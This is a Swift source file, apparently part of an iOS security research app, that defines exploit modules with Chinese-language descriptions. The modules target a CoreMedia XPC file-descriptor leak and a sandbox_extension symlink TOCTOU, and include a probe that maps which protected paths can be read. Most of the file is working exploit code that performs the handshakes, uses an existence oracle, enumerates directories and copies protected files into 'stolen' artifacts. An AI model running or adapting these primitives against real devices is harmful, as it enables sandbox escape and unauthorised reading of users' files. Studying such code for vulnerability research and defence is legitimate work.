Files

285 lines
17 KiB
Swift
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import Foundation
import UIKit
import ImageIO
extension Catalog {
/// The two primitives added after the first pass. Both are cross-sandbox: they are the
/// only entries in the whole set that hand back bytes the app could never `open()`.
static let crossSandbox: [ExploitModule] = [
ExploitModule(
id: "cm.fdleak",
titleZh: "CoreMedia bytestream XPC 跨沙盒文件描述符获取",
cve: "CVE-2026-112706",
component: "CoreMedia · mediaplaybackd.bytestream.xpc",
primitive: .infoLeak,
reach: .systemProcess,
tier: 1,
summaryZh: """
launchd 服务 com.apple.coremedia.mediaplaybackd.bytestream.xpc 对任何沙盒第三方应用可达,不校验 entitlement,也不触发权限提示。其 FigXPC 内存源握手(.rp1 → .rp2 → .org)对无特权客户端返回状态 0;随后的 'Curl' 创建消息在 CreationURL 里携带由客户端指定的绝对 file:// 路径,守护进程以自身凭据打开该路径,既不校验它是否位于请求方的沙盒容器内,也不校验该路径对请求方是否可读。回复的 ByteStreamDetails 字典携带一个活的 FileDescriptor。应用 dup 该描述符后用 pread 读取 —— 描述符级 I/O 不受客户端沙盒的路径检查约束,因此应用自身 open() 返回 EPERM 的文件,其完整内容会落入应用容器。
""",
notesZh: """
同一原语附带三项能力:对受保护目录 'Curl' 返回目录描述符,fdopendir/readdir 可枚举其内容;真实但被拒的路径返回 -12203,不存在的路径返回 -17913,构成存在性预言机。iOS 27.0 封堵了 read / fdsc / getL 三个辅助 opcode(-16158),但 Curl 创建回复内的主描述符发放路径保持完整 —— 27.0 与 27.0.1 均已端到端验证。可读域经 27 个目标双向映射,仅 /private/var/mobile/Media/iTunes_Control/iTunes/ 可开;照片、信息、通讯录、TCC 数据库、钥匙串、Safari、健康、钱包及其它应用容器一律 -12203。写入路径两版均被拒(-12878),故该原语为读 / 枚举 / 预言机,不含写。
""",
run: { ctx in
ctx.arm("cm.fdleak", "handshake + vend")
var lines: [String] = []
guard let session = FdLeak.Session() else {
ctx.fail("cm.fdleak", tl("无法建立会话"))
throw LabError(message: tl("CoreMedia 符号解析失败,或 XPC 连接无法创建"))
}
defer { session.shutdown() }
lines.append(contentsOf: session.handshakeLog)
lines.append(tl("握手建立: ") + "\(session.established)")
if !session.established {
// Two very different situations look identical from here, so separate
// them: no reply at all means nothing is listening (simulator, or the
// service was removed); a reply that is not a dictionary means the
// daemon answered and refused.
let answered = session.replyTypes.contains { $0 == "dictionary" }
let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" }
lines.append("")
lines.append(tl("— 判定 —"))
lines.append(tl("连接对象已创建: ") + "\(session.connectionCreated)")
lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))")
let simulator: Bool = {
#if targetEnvironment(simulator)
return true
#else
return false
#endif
}()
if silent && simulator {
lines.append(tl("当前为模拟器:模拟器内不运行 mediaplaybackd,该 Mach 服务无人监听,"))
lines.append(tl("因此握手收不到任何回复。真机上该服务常驻,握手应返回字典。"))
} else if silent {
lines.append(tl("服务无人监听 —— 该构建可能已移除或重命名该 Mach 服务。"))
} else if !answered {
lines.append(tl("服务有回复但非字典 —— 握手被拒绝。"))
}
ctx.disarm("cm.fdleak", "handshake failed")
return ModuleOutcome(headline: silent ? tl("服务无人监听(本平台不适用)") : tl("握手被拒绝"),
detail: lines.joined(separator: "\n"))
}
// control: the app's own open() on the same path must fail
lines.append("")
lines.append(tl("— 对照 —"))
lines.append(session.directOpenControl(FdLeak.readableDomain))
// existence oracle
lines.append("")
lines.append(tl("— 存在性预言机 —"))
for path in [FdLeak.readableDomain,
FdLeak.readableDomain + "/cinder27_no_such_file"] {
let e = session.probeExistence(path)
let verdict = e.code == 0 ? tl("可开") :
(e.code == FdLeak.errAccessDenied ? tl("存在但被拒 (-12203)") :
(e.code == FdLeak.errNoSuchFile ? tl("不存在 (-17913)") : tl("错误码 ") + "\(e.code)"))
lines.append("\(verdict) \(path)")
}
// directory enumeration
lines.append("")
lines.append(tl("— 目录枚举 —"))
let listing = session.list(FdLeak.readableDomain)
lines.append(tl("条目 ") + "\(listing.entries.count)" + tl(" 个(mode ") + "\(String(listing.vend.mode, radix: 8))" + tl(")"))
for name in listing.entries.prefix(20) {
lines.append(" · \(name)")
}
// file theft
lines.append("")
lines.append(tl("— 读取 —"))
var stolen: [URL] = []
var totalBytes = 0
for (label, path) in FdLeak.knownTargets {
let (data, vend) = session.read(path)
if let data = data {
totalBytes += data.count
let url = ctx.write("stolen_\(label)", data)
stolen.append(url)
let head = data.prefix(16).map { String(format: "%02x", $0) }.joined()
lines.append("✓ \(label) \(data.count) B uid=\(vend.uid) head=\(head)")
} else {
lines.append("✗ \(label) \(vend.note)")
}
}
ctx.disarm("cm.fdleak", "bytes=\(totalBytes)")
return ModuleOutcome(
headline: totalBytes > 0 ? tl("跨沙盒读取 ") + "\(totalBytes)" + tl(" 字节") : tl("未取到数据"),
detail: lines.joined(separator: "\n"),
evidence: [
tl("对照: 应用自身 open() 被 EPERM 拒绝"),
tl("守护进程以自身凭据打开客户端指定的路径"),
tl("可读域: ") + "\(FdLeak.readableDomain)",
tl("iOS 27.2 起修复"),
],
artifacts: stolen)
}),
ExploitModule(
id: "sbx.toctou",
titleZh: "sandbox_extension 符号链接 TOCTOU 越界读",
cve: "",
component: "libsystem_sandbox · sandbox_extension_issue_file",
primitive: .oobRead,
reach: .inProcess,
tier: 1,
summaryZh: """
sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌因此绑定的是签发时刻解析出的目标,而内核对消费时刻所用路径是否为令牌签发路径不做复核。构造顺序为:沙盒内建立符号链接 L 指向沙盒内文件 S;对 L 签发扩展(内核记录 S);将 L 重指向沙盒外目标 T;消费令牌后经 L 读取。内核放行的是 S 所属的类别,而实际打开的是 T 的路径。
""",
notesZh: """
该序列确定性成立,不需要竞态窗口 —— 链接切换发生在应用自身控制的两次系统调用之间,而非与内核并发。Apple 的立场是应用无法为不属于自己的路径签发扩展;这一前提成立,但与本问题无关:扩展是为应用确实拥有的路径签发的,随后该路径被改为指向别处。Apple 未将此视为安全问题,因此没有 CVE 编号,此处也不杜撰。可靠目标是 /etc 下的若干文件 —— 它们在 vnode 层可读,仅被沙盒配置文件拒绝,正是该原语跨越的缺口。
""",
run: { ctx in
ctx.arm("sbx.toctou", "swap read")
var lines: [String] = []
guard SandboxExtension.available else {
ctx.fail("sbx.toctou", tl("符号不可用"))
throw LabError(message: tl("sandbox_extension_issue_file / consume 无法解析"))
}
let link = ctx.workdir.appendingPathComponent("cinder27_link")
let decoy = ctx.workdir.appendingPathComponent("cinder27_decoy")
var bypassed = 0
var noSandbox = 0
var blocked = 0
var totalBytes = 0
var artifacts: [URL] = []
for (target, label) in SandboxExtension.knownTargets {
let r = SandboxExtension.readThroughSwap(target: target, link: link, decoy: decoy)
switch r.verdict {
case .bypassed:
bypassed += 1
totalBytes += r.bytes
if let data = r.data {
let name = target.replacingOccurrences(of: "/", with: "_")
artifacts.append(ctx.write("symlink_\(name)", data))
}
lines.append("✓ \(target) \(r.bytes) B — \(label)")
lines.append(tl(" 直接读 errno=") + "\(r.directErrno)" + tl(",经链接读到内容"))
lines.append(" \(r.preview)")
case .noSandbox:
noSandbox += 1
lines.append(tl("· ") + "\(target)" + tl(" 直接读也成功 ") + "\(r.directBytes)" + tl(" B — 该平台未施加沙盒"))
case .blocked:
blocked += 1
lines.append(tl("✗ ") + "\(target)" + tl(" 直接读 errno=") + "\(r.directErrno)" + tl(",经链接亦失败"))
case .empty:
lines.append(tl("· ") + "\(target)" + tl(" 未读到内容 — ") + "\(r.note)")
}
}
let simulator: Bool = {
#if targetEnvironment(simulator)
return true
#else
return false
#endif
}()
lines.append("")
lines.append(tl("— 判定 —"))
lines.append(tl("跨越边界 ") + "\(bypassed)" + tl(" · 无沙盒 ") + "\(noSandbox)" + tl(" · 受阻 ") + "\(blocked)")
if simulator && bypassed == 0 {
lines.append(tl("当前为模拟器:模拟器不对应用施加沙盒,直接读与经链接读都会成功,"))
lines.append(tl("因此该原语在此平台上无法给出证据。真机上直接读应返回 EPERM,"))
lines.append(tl("届时「直接读被拒 + 经链接读成功」即为越界成立的判定。"))
}
ctx.disarm("sbx.toctou", "bypassed=\(bypassed) nosandbox=\(noSandbox) blocked=\(blocked)")
let headline: String
if bypassed > 0 {
headline = tl("越过沙盒读取 ") + "\(bypassed)" + tl(" 个文件,共 ") + "\(totalBytes)" + tl(" 字节")
} else if noSandbox > 0 {
headline = tl("该平台未施加沙盒 — 无证据")
} else {
headline = tl("该构建上未越界")
}
return ModuleOutcome(
headline: headline,
detail: lines.joined(separator: "\n"),
evidence: [
tl("签发时解析链接目标,消费时不复核路径"),
tl("无需竞态窗口"),
tl("Apple 未将其视为安全问题,无 CVE"),
tl("判定依据:直接读被拒 且 经链接读成功"),
],
artifacts: artifacts)
}),
ExploitModule(
id: "cm.fdleak.boundary",
titleZh: "跨沙盒可读域边界测绘",
cve: "CVE-2026-112706",
component: "CoreMedia · mediaplaybackd.bytestream.xpc",
primitive: .probe,
reach: .systemProcess,
tier: 2,
summaryZh: """
对 15 个高价值目标逐一施加 'Curl' 探测,记录守护进程返回的服务端错误码,据此确定该原语的实际可读域。区分三种结果:可开、存在但被拒(-12203)、不存在(-17913)。这一轮的价值在于把负结果留在记录上 —— 一个被拒绝的目标与一个未被测试的目标,在结论上完全不同。
""",
notesZh: """
源研究在 26.5 与 27.0 上共探测 27 个目标,结论一致:仅 iTunes 媒体库目录可开。照片库、信息、通讯录、TCC、钥匙串、Safari、健康、钱包、其它应用容器与共享 App Group 全部拒绝。此模块复现该测绘,使边界成为本机上的实测数据而非引用。
""",
run: { ctx in
ctx.arm("cm.fdleak.boundary", "probe 15 targets")
guard let session = FdLeak.Session() else {
ctx.fail("cm.fdleak.boundary", tl("符号解析失败"))
return ModuleOutcome(headline: tl("CoreMedia 符号不可用"),
detail: tl("无法 dlopen CoreMedia 或解析 FigXPC 入口"))
}
defer { session.shutdown() }
guard session.established else {
// No daemon on this platform (simulator) or the service was removed.
let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" }
ctx.disarm("cm.fdleak.boundary", "no session")
var lines = session.handshakeLog
lines.append("")
lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))")
lines.append(silent
? tl("该 Mach 服务无人监听 —— 本平台不适用(模拟器内不运行 mediaplaybackd)。真机上该服务常驻。")
: tl("服务有回复但握手被拒绝。"))
return ModuleOutcome(headline: silent ? tl("服务无人监听(本平台不适用)") : tl("握手被拒绝"),
detail: lines.joined(separator: "\n"))
}
var lines: [String] = []
var reachable = 0, denied = 0, absent = 0
for path in FdLeak.boundaryProbes {
let e = session.probeExistence(path)
switch e.code {
case 0:
reachable += 1
lines.append(tl("可开 ") + "\(path)")
case FdLeak.errAccessDenied:
denied += 1
lines.append(tl("存在·被拒 ") + "\(path)")
case FdLeak.errNoSuchFile:
absent += 1
lines.append(tl("不存在 ") + "\(path)")
default:
lines.append(tl("码 ") + "\(e.code)" + tl(" ") + "\(path)")
}
}
ctx.disarm("cm.fdleak.boundary", "r=\(reachable) d=\(denied) a=\(absent)")
return ModuleOutcome(
headline: "\(reachable)" + tl(" 可开 · ") + "\(denied)" + tl(" 存在但被拒 · ") + "\(absent)" + tl(" 不存在"),
detail: lines.joined(separator: "\n"),
evidence: [tl("-12203 = 存在但被拒"), tl("-17913 = 不存在")])
}),
]
}